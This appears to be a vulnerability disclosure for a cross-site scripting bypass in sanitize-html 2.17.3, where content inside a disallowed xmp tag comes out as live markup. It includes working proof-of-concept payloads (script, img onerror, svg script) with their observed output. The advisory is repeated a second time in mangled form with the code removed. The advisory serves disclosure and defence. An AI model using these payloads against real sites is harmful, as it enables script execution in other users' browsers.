Summary
Under the default configuration, sanitize-html can turn attacker-controlled content inside a disallowed xmp element into live HTML or JavaScript. This is a sanitizer bypass in the default disallowedTagsMode: 'discard' path and can lead to stored XSS in applications that render sanitized output back to users.
Details
In sanitize-html@2.17.3, the default nonTextTags list includes only script, style, textarea, and option in index.js lines 138-142. That means disallowed xmp tags are not treated as "drop the entire contents" tags.
Later, in the ontext handler at index.js lines 569-577, the code special-cases textarea and xmp and appends their text content directly to the output without escaping:
} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (tag === 'textarea' || tag === 'xmp')) {
result += text;
}
Because htmlparser2 treats xmp as a raw-text element, markup inside xmp is parsed as text on input but becomes live markup again once it is appended unescaped to the sanitized output.
This creates a default sanitizer bypass. For example, a disallowed <xmp> wrapper can be used to smuggle <script> or event-handler payloads through sanitization.
The README also appears to contradict the implementation. In the "Discarding the entire contents of a disallowed tag" section, the documented exception list names only style, script, textarea, and option, and does not mention xmp.
PoC
Tested locally against sanitize-html@2.17.3 on Node.js v25.2.1.
- Install the package:
npm install sanitize-html
- Run the following script:
const sanitizeHtml = require('sanitize-html');
console.log(sanitizeHtml('<xmp><script>alert(1)</script></xmp>'));
console.log(sanitizeHtml('<xmp><img src=x onerror=alert(1)></xmp>'));
console.log(sanitizeHtml('<xmp><svg><script>alert(1)</script></svg></xmp>'));
- Observed output:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg><script>alert(1)</script></svg>
- Render any of the returned strings in a browser context that trusts
sanitize-html output, for example:
const dirty = '<xmp><script>alert(1)</script></xmp>';
const clean = sanitizeHtml(dirty);
If clean is inserted into the DOM or stored and later rendered as trusted HTML, the attacker-controlled script executes.
Impact
This is a cross-site scripting vulnerability in the default sanitizer behavior. Any application that uses sanitize-html defaults and then renders the returned HTML as trusted output is impacted. A remote attacker who can submit HTML content can trigger execution of arbitrary JavaScript in another user's browser when that content is viewed.
Summary
Under the default configuration,
sanitize-htmlcan turn attacker-controlled content inside a disallowedxmpelement into live HTML or JavaScript. This is a sanitizer bypass in the defaultdisallowedTagsMode: 'discard'path and can lead to stored XSS in applications that render sanitized output back to users.Details
In
sanitize-html@2.17.3, the defaultnonTextTagslist includes onlyscript,style,textarea, andoptioninindex.jslines 138-142. That means disallowedxmptags are not treated as "drop the entire contents" tags.Later, in the
ontexthandler atindex.jslines 569-577, the code special-casestextareaandxmpand appends their text content directly to the output without escaping:Because
htmlparser2treatsxmpas a raw-text element, markup insidexmpis parsed as text on input but becomes live markup again once it is appended unescaped to the sanitized output.This creates a default sanitizer bypass. For example, a disallowed
<xmp>wrapper can be used to smuggle<script>or event-handler payloads through sanitization.The README also appears to contradict the implementation. In the "Discarding the entire contents of a disallowed tag" section, the documented exception list names only
style,script,textarea, andoption, and does not mentionxmp.PoC
Tested locally against
sanitize-html@2.17.3on Node.jsv25.2.1.sanitize-htmloutput, for example:If
cleanis inserted into the DOM or stored and later rendered as trusted HTML, the attacker-controlled script executes.Impact
This is a cross-site scripting vulnerability in the default sanitizer behavior. Any application that uses
sanitize-htmldefaults and then renders the returned HTML as trusted output is impacted. A remote attacker who can submit HTML content can trigger execution of arbitrary JavaScript in another user's browser when that content is viewed.